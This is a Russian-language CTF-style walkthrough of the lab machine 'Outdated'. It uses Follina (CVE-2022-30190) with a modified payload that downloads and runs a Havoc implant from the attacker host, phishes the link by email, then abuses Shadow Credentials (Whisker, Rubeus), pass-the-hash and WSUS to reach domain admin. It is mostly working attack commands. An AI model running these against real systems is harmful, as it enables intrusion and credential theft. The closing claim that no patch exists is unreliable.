Как экс­плу­ати­ровать нашумев­шую уяз­вимость MSTD Follina.

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

В даной статье мы воспользуемся  пра­вом AddKeyCredentialLink на учет­ную запись, и поз­лоупот­ребля­ем этим правом. Потом поработаем  со служ­бой WSUS для повышения привилегий. Для удобс­тва исполь­зуем недав­но опуб­ликован­ный C2-фрей­мворк Havoc. И наконец я покажу, как экс­плу­ати­ровать  уяз­вимость MSTD Follina.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.175 outdated.htb

И запус­каем ска­ниро­вание пор­тов.

Сканирование портов — стандартный первый шаг в любой атаке. Это позволяет злоумышленнику узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг для получения точки входа.
Наиболее известным инструментом сканирования является Nmap. Улучшить результаты своей работы можно с помощью следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

Он работает в два этапа. Первый выполняет обычное быстрое сканирование, второй выполняет более тщательное сканирование с использованием доступных скриптов (опция -A).

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Результат работы скрипта

Мы наш­ли мно­го откры­тых пор­тов, что типич­но для Windows:

  • 25 — служ­ба SMTP (поч­товый сер­вер);
  • 53 — служ­ба DNS;
  • 88 (филь­тру­ется) — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 (филь­тру­ется) — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) (филь­тру­ется) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 (филь­тру­ется) — служ­ба уда­лен­ного управле­ния WinRM;
  • 8530, 8531 (филь­тру­ется) — служ­ба WSUS для обновле­ний опе­раци­онных сис­тем и про­дук­тов Microsoft;
  • 9389 (филь­тру­ется) — веб‑служ­бы AD DS.

Пор­ты 22 и 636 откры­вают нам новые домен­ные име­на, которые добавим в файл /etc/hosts:

10.10.11.175 outdated.htb dc.outdated.htb mail.outdated.htb

ТОЧКА ВХОДА

Первый шаг — проверить, есть ли анонимный доступ к сервису SMB. Для этого войдите в систему как гость с пустым паролем. С помощью утилиты CrackMapExec с опцией —shares мы можем сразу получить доступные шары.

crackmapexec smb 10.10.11.175 -u 'guest' -p '' --shares

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Доступные общие ресурсы

Получаем список общих ресурсов и делаем каталог Shares доступным для чтения для себя. Для работы с ресурсом SMB будем использовать smbclient из из пакета скрип­тов impacket.

impacket-smbclient guest@dc.outdated.htb
use shares
ls

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Содержимое каталога shares

На­ходим все­го один документ, который забира­ем на свой хост коман­дой get NOC_Reminder.pdf.

Содержимое документа NOC_Reminder.pdf

Это отчет, который предоставляет нам список текущих уязвимостей (а не то, что они закрыты). Это также указывает на то, что мы можем отправить ссылку на уязвимое приложение на itsupport@outdated.htb. Среди списка — нашумевшая в последнее время уязвимость CVE-2022-30190, она же Follina.

ТОЧКА ОПОРЫ

Мы воспользуемся готовым эксплойтом, но поскольку нам нужна ссылка на саму загрузку, а не на документ, содержащий ее, внесем изменение. Находим нагрузку в исходном коде и меняем на команду, которая скачает исполняемый файл, а затем запустит его.

Invoke-WebRequest http://10.10.14.24:8080/demon.exe -OutFile C:\\Windows\\Tasks\\demon.exe; C:\\Windows\\Tasks\\demon.exe

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Измененный код эксплоита

Теперь давайте запустим файл follina.py, который содержит загрузку, веб-сервер и прослушиватель. Но вместо netcat мы будем использовать нагрузку Havoc.

python3 follina.py --interface tun0 --port 8000 --reverse 4321

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Запуск follina.py

А теперь давайте перейдем к фреймворку Havoc. Собрать клиент и сервер из исходников очень просто. Для начала установим необходимые пакеты.

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

Те­перь ска­чива­ем сам про­ект и собира­ем сна­чала кли­ент, потом сер­вер.

git clone https://github.com/HavocFramework/Havoc.git
 
#build client
cd Havoc/Client
make
cd ../..
 
#build server
cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
./Install.sh
make

Те­перь вне­сем изме­нение в файл Havoc/Teamserver/profiles/havoc.yaotl, где ука­зыва­ем нас­трой­ки сер­вера, а так­же поль­зовате­лей для под­клю­чения.

Teamserver {
Host = "0.0.0.0"
Port = 9898
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
 
Operators {
user "ralf" {
Password = "password"
}
}

Ког­да все готово, запус­каем кли­ент как Havoc/Client/Havoc и сер­вер:

./teamserver server --profile ./profiles/havoc.yaotl

За­тем соз­даем HTTPS-лис­тенер и генери­руем наг­рузку в фор­мате .exe.

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Создание листенера

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Создание нагрузки

В катало­ге, где рас­положе­на наг­рузка, запус­тим прос­той веб‑сер­вер:

python3 -m http.server 8080

За­тем отправ­ляем пись­мо.

swaks --to itsupport@outdated.htb --from ralf@ralf --server mail.outdated.htb --body "http://10.10.14.24:8000/"

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Отправка сообщения

Ма­шина с багами, поэто­му засылать при­ходи­лось по нес­коль­ку раз, а то и с ревер­том самой машины. Но все же отстук получить уда­лось.

Сессии Havoc

shell whoami

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Результат выполнения команды whoami

ПРОДВИЖЕНИЕ

Теперь нужно решить, куда двигаться дальше. Для этого мы используем очень крутую программу — BloodHound. Он использует теорию графов для обнаружения скрытых и часто непреднамеренных взаимосвязей в среде Active Directory. BloodHound можно использовать для выявления очень сложных путей атаки, которые в противном случае было бы невозможно быстро идентифицировать.

BloodHound

Поскольку у нас нет учетных данных пользователя домена, нам нужно использовать версию программы C# на целевом хосте. К счастью, Havoc позволяет запускать сборки .NET непосредственно в памяти, не загружая исполняемый файл на хост. Для этого используйте команду dotnet inline-execute. Затем загружаем файл с собранной информацией на C&C сервер командой download.

dotnet inline-execute /home/ralf/tools/SHARP/Discovery/SharpHound.exe -c All

Ска­чан­ные фай­лы мож­но будет най­ти в хра­нили­ще Havoc.

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Хранилище Havoc

Для работы с выход­ным фай­лом BloodHound нам нуж­но уста­новить СУБД Neo4j и гра­фичес­кую оснас­тку bloodhound для пос­тро­ения гра­фа свя­зей.

sudo apt install neo4j bloodhound

Запустите установленный Neo4j с помощью консольной команды sudo neo4j. После сообщения об успешном запуске переходим на localhost:7474 через браузер. Нас тут же попросят установить пароль. После установки пароля запустите BloodHound (команда hound в командной строке) и войдите в систему с новым установленным паролем.

Когда откроется пустое окно, закинуть в него получившийся архив. А затем в поле поиска укажите группу пользователей. На экране отобразятся все пользователи из этой группы, среди которых найдем подконтрольного нам и отметим его как Отметить пользователя как принадлежащего. На иконке пользователя должен появиться череп. Затем попросим BloodHound найти способ перехода к другим пользователям из уже взломанного (которого мы только что отметили) — опция Shortest Path from Owned Principals в графе аналитики.

Граф продвижения

Это даст нам маршрут для захвата пользователя sflowers, который является администратором WSUS, но мы поговорим об этом при повышении привилегий. Теперь нас интересует группа ITSTAFF, у которой есть право AddKeyCredentialLink для аккаунта sflowers. Здесь мы можем использовать технику Shadow Credentials.

Shadow Credentials

Этот метод позволяет злоумышленнику получить контроль над учетной записью пользователя или компьютера, если он может изменить атрибут цели msDS-KeyCredentialLink и добавить альтернативные учетные данные, например сертификат. Это можно сделать с помощью утилиты Whisker.

dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Whisker.exe add /target:sflowers

Как экс­плу­ати­ровать уяз­вимость MSTD Follina.

Добавление альтернативных учетных данных

Сер­тификат добав­лен, пароль показан, но так­же показа­на и сле­дующая коман­да, которой мы зап­росим тикет и хеш пароля поль­зовате­ля.

dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIB...dNldA/o3dwICB9A= /password:"C9pt7Aokq2cmfYxq" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

NTLM-хеш пользователя

С получен­ным хешем мож­но авто­ризо­вать­ся через служ­бу WinRM и запус­тить новый демон Havoc.

evil-winrm -i dc.outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5

Сессии Havoc

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь вер­немся к груп­пе адми­нис­тра­торов WSUS. Мы можем управлять служ­бой WSUS, но преж­де, чем говорить о повыше­нии при­виле­гий, нам нуж­но про­верить еще два парамет­ра.

Пер­вый — обновле­ния зап­рашива­ются без исполь­зования SSL:

shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Значение WUServer

Вто­рой — игно­риру­ется ли запись WUServer:

shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

Значение UseWUServer

Ус­ловия соб­людены, поэто­му мы можем исполь­зовать тех­нику эска­лации через WSUS. Сна­чала заг­ружа­ем на хост PsExec64.exe.

upload /home/ralf/tmp/PsExec64.exe C:\Windows\Tasks\PsExec64.exe

Те­перь c помощью SharpWSUS соз­даем вре­донос­ное обновле­ние, которое изме­нит пароль адми­нис­тра­тора.

Создание вредоносного обновления

Те­перь раз­вернем наше обновле­ние.

.\SharpWSUS.exe approve /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb /groupname:"newgroup1"

Применение созданного обновления

.\SharpWSUS.exe check /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb

И про­веря­ем его ста­тус.

Проверка статуса обновления

Об­новле­ние прош­ло успешно, поэто­му можем под­клю­чить­ся по WinRM и заб­рать флаг рута.

evil-winrm -i dc.outdated.htb -u Administrator -p '!QA@WS3ed4rf'

Флаг рута

Заключение

Эксперты нашли еще одну весьма нешуточную незащищенность в продуктах Microsoft, которая вероятно дозволяет злоумышленникам исполнять случайный код. Ей присвоили номер CVE-2022-30190 и среди исследователей дали имя Follina. Самое обидное, что патча еще нет, а между тем уязвимость уже активно эксплуатируется злоумышленниками.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 1 Average: 5]

Leave a reply:

Your email address will not be published.